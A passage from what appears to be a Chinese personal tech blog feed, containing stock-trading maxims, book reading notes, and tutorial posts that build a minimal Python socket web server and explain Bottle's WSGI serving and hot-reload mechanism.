<li>人生本来就是一场冒险,从摇篮到坟墓的整个过程本身就是一种赌博,因为我没有预知未来的能力,我会选择平静的接受一切。投机会面临很多风险,其中正常的风险很低,而黑天鹅事件带来风险相当剧烈。</li>
<li>大钱都是靠光明磊落而不是坑蒙拐骗赚来,心思敏捷、高瞻远瞩的商人知道如何保护自己不被骗子、懦夫和乌合之众的恶行所伤害。</li>
<li>我设法只相信事实,并根据实施行动,如果没有看清事实,我就会出错,出错的代价就是亏钱。犯了错就要付出代价,只有蠢蛋才相信犯了错也可以免受惩罚。</li>
<li>犯错的代价就是亏损,而判断正确的奖赏就是盈利。</li>
<li>要注意交易意外的风险,如交易规则的突然改变(保证金率)</li>
<li>每只股票后面都有一家公司,搞清楚公司的状况也就知道了股票的状况。</li>
<li>股价只有在走势符合你的预期时才能加码,如果不符合最好的方式是出局。</li>
<li>背离所在板块/大盘走势走向去操作是不明智的。该涨不涨必跌,该跌不跌必涨。</li>
<li>股票投机的成功原则的基础是:人类会在将来犯过去犯过的相同的错误。</li>
<li>经验会教会人们很多事,违背经验行事就是重复交学费,而且会败得很惨。
- 股票交易的基本原则:股价上涨时,不要问它为什么涨,持续买进自然会推动股价上涨,只要股价持续上涨-上涨中偶尔会出现合理的小幅回落-继续跟进就是稳妥的操作。但经过长时间的上涨后,股价突然回档,而且小幅反弹后不创新高,你就要明白股价最小阻力方向已经从上涨变为下跌,做空或卖出就是最好的选择。</li>
</ul>
<<刻意练习>> 读书笔记
2019-06-07T00:00:00+00:00
http://fish267.github.io/2019/06/07/Secrets-from-the-new-expertise
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*eoa_SItJ7SIAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p>本书最触动的地方, 在第六章的小节 “专注和投入至关重要”, 回想自己打球多年, 进步始终缓慢, 就是缺少了动作定型练习, 摘要如下:</p>
<pre><code class="language-txt">"贾斯丁, 你在做什么?"
"我在为参加锦标赛练习球技."
"不, 你不是在练习, 你只是在击球而已, 你并没有刻意的向特定的技巧有目的的训练"
</code></pre>
<!--more-->
<p>尝试写了个脑图, 不知道浏览器能否展示出来</p>
<p><img src="https://gw.alipayobjects.com/zos/basement_prod/8b9f57ec-bd55-43c2-8c9b-20cf762efb50.svg" alt="" /></p>
<p>还有文章中提到的一个歌唱课例子, 摘抄一下:</p>
<pre><code class="language-txt">只有业余歌手的报告说, 他们在上课后感到格外的欢心鼓舞, 歌唱训练似乎只能让业余歌手感到高兴. 这种差别的原因在于两组歌手怎样对待训练课. 对业余歌手来讲, 在课堂上, 他们可以表达自己内心的感受, 用歌声表达关爱, 并且感受歌唱时的那种纯粹的愉悦. 对专业歌手来讲, 在课堂上, 他们要全神贯注地观察声音技巧, 呼吸控制等方面, 努力提高自己的技能. 这样的专注, 没有兴趣可言.
</code></pre>
<<码农翻身>> 读书笔记
2018-07-11T00:00:00+00:00
http://fish267.github.io/2018/07/11/code-revert-reading-notes
<p><img src="http://img3m4.ddimg.cn/31/12/25276414-1_u_13.jpg" alt="" /></p>
<h1 id="读书笔记">读书笔记</h1>
<p>本书用了一个个幽默的小故事, 讲解了操作系统/Java/网络等多方面知识, 其实对读者要求知识水平有比较高的要求, 不然只能是走马观花.</p>
<p>《码农翻身》分为6章。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>第1章讲述计算机的基础知识;
第2章侧重讲解Java的基础知识;
第3章偏重Web后端编程;
第4章讲解代码管理的本质;
第5章讲述了JavaScript的历史、Node.js的原理、程序的链接、命令式和声明式编程的区别,以及作者十多年来使用各种编程语言的感受;
第6章是作者的经验总结和心得体会,包括职场发展的注意事项、作为架构师的感想、写作的好处等。
</code></pre></div></div>
<p>挑部分故事中涉及的知识点, 做一下笔记.</p>
<!--more-->
<h3 id="1-线程">1. 线程</h3>
<ul>
<li>CPU 调度的基本单位, 执行时, 时间分片执行.</li>
<li>线程操作资源时, 先加锁. 获取锁的</li>
<li>死锁: 两个线程同时获取了锁, 然后等待对方释放.</li>
</ul>
<h3 id="2-cpu">2. CPU</h3>
<ul>
<li>CPU构成: 算数逻辑运算单元ALU, 缓存 cache 以及总线. 物理部件: 运算逻辑部件、寄存器部件和控制部件等;</li>
<li>寄存器: 用于存放指令寄存器操作数, 中间结果等.</li>
<li>CPU从存储器或高速缓冲存储器中取出指令,放入指令寄存器,并对指令译码。它把指令分解成一系列的微操作,然后发出各种控制命令,执行微操作系列,从而完成一条指令的执行。</li>
<li>指令是计算机规定执行操作的类型和操作数的基本命令。指令是由一个字节或者多个字节组成,其中包括操作码字段、一个或多个有关操作数地址的字段以及一些表征机器状态的状态字以及特征码。有的指令中也直接包含操作数本身。</li>
<li>参数: 主频, 外频, 倍频, 缓存. CPU的主频=外频×倍频系数。 所谓的超频, 是外频.</li>
</ul>
<h3 id="3-todo">3. TODO</h3>
Bottle 源码阅读(六) -- Python Web 服务基础
2017-11-20T00:00:00+00:00
http://fish267.github.io/2017/11/20/bottle-source-code-learning-6
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/ImavrAPmAViBpPIjIxAP.png" alt="" /></p>
<h1 id="1-python-socket-模块使用">1. Python socket 模块使用</h1>
<p><a href="https://gist.github.com/kevinkindom/108ffd675cb9253f8f71">Python Socket 编程详细介绍</a> 这篇文章讲解的非常好.</p>
<p>先看下面一段代码:</p>
<!--more-->
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span> <span class="o">=</span> <span class="s">''</span><span class="p">,</span> <span class="mi">8888</span>
<span class="n">listen_socket</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">listen_socket</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="n">listen_socket</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Serving HTTP on port %s ...'</span> <span class="o">%</span> <span class="n">PORT</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">client_connection</span><span class="p">,</span> <span class="n">client_address</span> <span class="o">=</span> <span class="n">listen_socket</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="n">request</span> <span class="o">=</span> <span class="n">client_connection</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">request</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
<span class="n">http_response</span> <span class="o">=</span> <span class="s">b"""</span><span class="se">\
</span><span class="s">HTTP/1.1 200 OK
Hello, World!
"""</span>
<span class="n">client_connection</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">http_response</span><span class="p">)</span>
<span class="n">client_connection</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p>浏览器访问 <code class="language-plaintext highlighter-rouge">localhost:8888</code> 会展示出 ‘Hello, World!’.</p>
<p>一般 TCP 服务器设计的步骤如下:</p>
<ul>
<li>创建 socket, 绑定 ip 和 port <code class="language-plaintext highlighter-rouge">socket() bind()</code></li>
<li>设置监听链接 <code class="language-plaintext highlighter-rouge">listen()</code></li>
<li>循环, 监听客户端请求 <code class="language-plaintext highlighter-rouge">while True: listen_socket.accept()</code></li>
<li>接收请求 <code class="language-plaintext highlighter-rouge">recv()</code></li>
<li>返回请求 <code class="language-plaintext highlighter-rouge">sendall()</code></li>
<li>关闭连接 <code class="language-plaintext highlighter-rouge">close()</code></li>
</ul>
<p>客户端链接步骤:</p>
<ul>
<li>创建 socket</li>
<li>connect()</li>
<li>sendall()</li>
<li>recv()</li>
<li>close()</li>
</ul>
<p>上面例子代码中, 浏览器访问地址, 就是模拟了客户端的操作, 注意到 http_response 返回内容:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Hello, World!
</code></pre></div></div>
<p>内容包括3个部分:</p>
<ol>
<li>HTTP version</li>
<li>HTTP status code</li>
<li>HTTP response body</li>
</ol>
<h1 id="2-使用-socket-实现一个-webserver">2. 使用 socket 实现一个 WebServer</h1>
<p>在重复造轮子前, 先回顾一下 server 怎么使用的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">server</span> <span class="o">=</span> <span class="n">XXServer</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">callbac</span> <span class="n">k</span><span class="p">)</span>
<span class="n">server</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
</code></pre></div></div>
<p>也就是说, XXServer 需要将上面的代码包装一层. 实现代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">SixServer</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">host</span><span class="o">=</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8888</span><span class="p">,</span> <span class="n">callback</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">host</span> <span class="o">=</span> <span class="n">host</span>
<span class="bp">self</span><span class="p">.</span><span class="n">port</span> <span class="o">=</span> <span class="n">port</span>
<span class="bp">self</span><span class="p">.</span><span class="n">callback</span> <span class="o">=</span> <span class="n">callback</span>
<span class="k">def</span> <span class="nf">_init_socket</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen_socket</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen_socket</span><span class="p">.</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SO_REUSEADDR</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen_socket</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">port</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen_socket</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_init_socket</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Serving HTTP on port %s:%s ...'</span> <span class="o">%</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">host</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">port</span><span class="p">))</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">client_connection</span><span class="p">,</span> <span class="n">client_address</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">listen_socket</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">try</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_handle_request</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_handle_response</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">finally</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">client_connection</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">_handle_request</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">raw_request</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">client_connection</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_parse_request</span><span class="p">(</span><span class="n">raw_request</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">_parse_request</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">raw_request</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">request</span> <span class="o">=</span> <span class="p">{}</span>
<span class="c1"># 默认类型是 byte, 需要转码
</span> <span class="n">raw_request</span> <span class="o">=</span> <span class="n">raw_request</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
<span class="n">request_line</span> <span class="o">=</span> <span class="n">raw_request</span><span class="p">.</span><span class="n">splitlines</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>
<span class="c1"># Break down the request line into components
</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">[</span><span class="s">'request_method'</span><span class="p">],</span> <span class="c1"># GET
</span> <span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">[</span><span class="s">'path'</span><span class="p">],</span> <span class="c1"># /hello
</span> <span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">[</span><span class="s">'request_version'</span><span class="p">]</span> <span class="c1"># HTTP/1.1
</span> <span class="p">)</span> <span class="o">=</span> <span class="n">request_line</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">_handle_response</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">status</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">[</span><span class="s">'request_version'</span><span class="p">]</span> <span class="o">+</span> <span class="s">' 200 OK'</span>
<span class="n">response_headers</span> <span class="o">=</span> <span class="p">[(</span><span class="s">'Content-type'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">raw_response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">callback</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">request</span><span class="p">)</span>
<span class="c1"># sep 需要输入两个 \n, 一个是不生效的, 怀疑是 encode 的原因.
</span> <span class="n">sep</span> <span class="o">=</span> <span class="s">'</span><span class="se">\r\n\n</span><span class="s">'</span>
<span class="n">http_response</span> <span class="o">=</span> <span class="s">''</span>
<span class="c1"># 添加 http 协议 http 状态码
</span> <span class="n">http_response</span> <span class="o">+=</span> <span class="n">status</span> <span class="o">+</span> <span class="n">sep</span>
<span class="c1"># 丰富一下 headers
</span> <span class="k">for</span> <span class="n">header</span> <span class="ow">in</span> <span class="n">response_headers</span><span class="p">:</span>
<span class="n">http_response</span> <span class="o">+=</span> <span class="s">'{0}:{1}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">*</span><span class="n">header</span><span class="p">)</span> <span class="o">+</span> <span class="n">sep</span>
<span class="c1"># 添加 回调函数处理后的内容
</span> <span class="k">for</span> <span class="n">res</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">raw_response</span><span class="p">:</span>
<span class="n">http_response</span> <span class="o">=</span> <span class="n">http_response</span> <span class="o">+</span> <span class="s">'{0}: {1}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">raw_response</span><span class="p">[</span><span class="n">res</span><span class="p">])</span> <span class="o">+</span> <span class="n">sep</span>
<span class="bp">self</span><span class="p">.</span><span class="n">response</span> <span class="o">=</span> <span class="n">http_response</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">response</span><span class="p">)</span>
<span class="c1"># http_response = """HTTP/1.1 200 OK\r\n
</span> <span class="c1"># <b>nmhai</b>"""
</span> <span class="bp">self</span><span class="p">.</span><span class="n">client_connection</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">http_response</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
</code></pre></div></div>
<h2 id="21-代码说明">2.1 代码说明</h2>
<p>函数 <code class="language-plaintext highlighter-rouge">_parse_request</code> 用来处理入参, 比如访问 <code class="language-plaintext highlighter-rouge">http://localhost:8888/cdasfd?key=whoami</code>, <code class="language-plaintext highlighter-rouge">self.request</code> 解析如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="s">'path'</span><span class="p">:</span> <span class="s">'/cdasfd?key=whoami'</span><span class="p">,</span> <span class="s">'request_version'</span><span class="p">:</span> <span class="s">'HTTP/1.1'</span><span class="p">,</span> <span class="s">'request_method'</span><span class="p">:</span> <span class="s">'GET'</span><span class="p">}</span>
</code></pre></div></div>
<p>函数 <code class="language-plaintext highlighter-rouge">_handle_response</code> 用来包装 <code class="language-plaintext highlighter-rouge">response</code>, 一个标准的 response 上面已经提到过, HTTP 版本号 + HTTP 状态码, 后面跟的分隔符, 要使用 ‘\r\n\n’, 只使用 ‘\r\n’ 浏览器识别不出来.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># sep 需要输入两个 \n, 一个是不生效的, 怀疑是 encode 的原因.
</span><span class="n">sep</span> <span class="o">=</span> <span class="s">'</span><span class="se">\r\n\n</span><span class="s">'</span>
</code></pre></div></div>
<h2 id="22-代码调用">2.2 代码调用</h2>
<p>首先写个回调函数, 这个函数啥也不做, 直接返回</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">callback</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
<span class="k">return</span> <span class="n">text</span>
</code></pre></div></div>
<p>调用结果截图如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">callback</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
<span class="k">return</span> <span class="n">text</span>
<span class="n">six_server</span> <span class="o">=</span> <span class="n">SixServer</span><span class="p">(</span><span class="n">callback</span><span class="o">=</span><span class="n">callback</span><span class="p">)</span>
<span class="n">six_server</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/QNHmCFCmpUGHurPiwkMq.png" alt="" /></p>
<p>这样, 一个简单的 WebServer 就写完了, 实际使用中, <code class="language-plaintext highlighter-rouge">callback()</code> 函数主要是拼装 <code class="language-plaintext highlighter-rouge">html</code> 代码, 类似上面注释掉的两行, 浏览器可以直接将标签渲染出来.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">http_response</span> <span class="o">=</span> <span class="s">"""HTTP/1.1 200 OK</span><span class="se">\r\n</span><span class="s">
<b>nmhai</b>"""</span>
</code></pre></div></div>
<h1 id="3-参考文档">3. 参考文档</h1>
<ul>
<li><a href="https://ruslanspivak.com/lsbaws-part1/">Let’s Build A Web Server</a></li>
</ul>
<h1 id="end">END</h1>
Bottle 源码阅读(五)-- WSGI 服务封装, 热部署原理
2017-10-31T00:00:00+00:00
http://fish267.github.io/2017/10/31/bottle-source-code-learning-5
<h1 id="1-wsgi-服务">1. WSGI 服务</h1>
<p>Python 内置了一个 WSGI 服务 <code class="language-plaintext highlighter-rouge">wsgiref</code>, 借用 <code class="language-plaintext highlighter-rouge">simple_server.py</code> 中的例子, 看下简单的使用, :</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">wsgiref.simple_server</span> <span class="kn">import</span> <span class="n">make_server</span>
<span class="k">def</span> <span class="nf">demo_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">StringIO</span>
<span class="n">stdout</span> <span class="o">=</span> <span class="n">StringIO</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Hello world!"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">environ</span><span class="p">.</span><span class="n">items</span><span class="p">())</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">h</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="s">'='</span><span class="p">,</span> <span class="nb">repr</span><span class="p">(</span><span class="n">v</span><span class="p">),</span> <span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="n">start_response</span><span class="p">(</span><span class="s">"200 OK"</span><span class="p">,</span> <span class="p">[(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="s">'text/plain; charset=utf-8'</span><span class="p">)])</span>
<span class="k">return</span> <span class="p">[</span><span class="n">stdout</span><span class="p">.</span><span class="n">getvalue</span><span class="p">().</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)]</span>
<span class="k">def</span> <span class="nf">start_wsgi</span><span class="p">():</span>
<span class="n">httpd</span> <span class="o">=</span> <span class="n">make_server</span><span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="mi">8000</span><span class="p">,</span> <span class="n">demo_app</span><span class="p">)</span>
<span class="n">sa</span> <span class="o">=</span> <span class="n">httpd</span><span class="p">.</span><span class="n">socket</span><span class="p">.</span><span class="n">getsockname</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Serving HTTP on"</span><span class="p">,</span> <span class="n">sa</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="s">"port"</span><span class="p">,</span> <span class="n">sa</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"..."</span><span class="p">)</span>
<span class="n">httpd</span><span class="p">.</span><span class="n">serve_forever</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/cAUDnPGnqpRDFPDLhHzD.png" alt="" /></p>
<p><code class="language-plaintext highlighter-rouge">demo_app()</code> 函数就是符合WSGI标准的一个HTTP处理函数,它接收两个参数:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>environ:一个包含所有HTTP请求信息的dict对象, 从截图可以看出来包含的信息非常多
start_response:一个发送HTTP响应的函数
</code></pre></div></div>
<!--more-->
<h1 id="2-代码热部署">2. 代码热部署</h1>
<p>Bottle 热部署的思路, 启动两个进程, 其中一个进程中, 开出一个线程检查文件的变动, 另一个进程, 持续的更新临时文件 lockfile 的 modify_time.</p>
<p>进程和线程的文章, 可以参考<a href="http://yangcongchufang.com/%E9%AB%98%E7%BA%A7python%E7%BC%96%E7%A8%8B%E5%9F%BA%E7%A1%80/python-process-thread.html">一篇文章搞懂Python中的进程和线程
</a></p>
<p>下面分步骤复现一下:</p>
<h2 id="21-启动两个进程">2.1 启动两个进程</h2>
<p>先看下面代码, 一直循环创建线程:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">hot_deploy_loop</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
<span class="k">if</span> <span class="n">reloader</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Executing command:'</span><span class="p">)</span>
<span class="k">print</span><span class="p">([</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">fd</span><span class="p">,</span> <span class="n">lock_file</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s">'six_web.'</span><span class="p">,</span> <span class="n">suffix</span><span class="o">=</span><span class="s">'.lock'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span>
<span class="k">while</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span>
<span class="k">print</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">Creating process, lock_file:</span><span class="se">\n</span><span class="s"> %s'</span> <span class="o">%</span> <span class="n">lock_file</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">interval</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">args</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Process terminated.'</span><span class="p">)</span>
<span class="k">finally</span><span class="p">:</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">lock_file</span><span class="p">)</span>
<span class="c1"># 启动 web 服务
</span> <span class="n">start_wsgi</span><span class="p">()</span>
<span class="n">hot_deploy_loop</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
</code></pre></div></div>
<p>输出如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/fish/pycharm_env/bin/python /Users/fish/Documents/GitHub/six-web/six_web/lab.py
Executing <span class="nb">command</span>:
<span class="o">[</span><span class="s1">'/Users/fish/pycharm_env/bin/python'</span>, <span class="s1">'/Users/fish/Documents/GitHub/six-web/six_web/lab.py'</span><span class="o">]</span>
Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.wbsbtwi4.lock
Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.wbsbtwi4.lock
Executing <span class="nb">command</span>:
<span class="o">[</span><span class="s1">'/Users/fish/pycharm_env/bin/python'</span>, <span class="s1">'/Users/fish/Documents/GitHub/six-web/six_web/lab.py'</span><span class="o">]</span>
Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.koolx88o.lock
Process terminated.
Process terminated.
Versions/3.5/lib/python3.5/http/server.py<span class="s2">", line 138, in server_bind
socketserver.TCPServer.server_bind(self)
....
File "</span>/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/socketserver.py<span class="s2">", line 457, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 48] Address already in use
self.socket.bind(self.server_address)
OSError: [Errno 48] Address already in use
</span></code></pre></div></div>
<p>从结果可以看出, <code class="language-plaintext highlighter-rouge">p = subprocess.Popen(args)</code> 一直执行文件自身,</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Executing command:
['/Users/fish/pycharm_env/bin/python', '/Users/fish/Documents/GitHub/six-web/six_web/lab.py']
</code></pre></div></div>
<p>防止进程持续创建, bottle 将 <code class="language-plaintext highlighter-rouge">BOTTLE_CHILD</code> 和 <code class="language-plaintext highlighter-rouge">BOTTLE_LOCKFILE</code> 放入了 <code class="language-plaintext highlighter-rouge">os.environ</code> 中, 当成标志来判断是否需要创建新进程. 在创建进程的时候, 将上一个进程的 <code class="language-plaintext highlighter-rouge">env</code> 传入进来 <code class="language-plaintext highlighter-rouge">p = subprocess.Popen(args, env=env)</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
<span class="n">loop_flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'BOTTLE_CHILD'</span><span class="p">)</span>
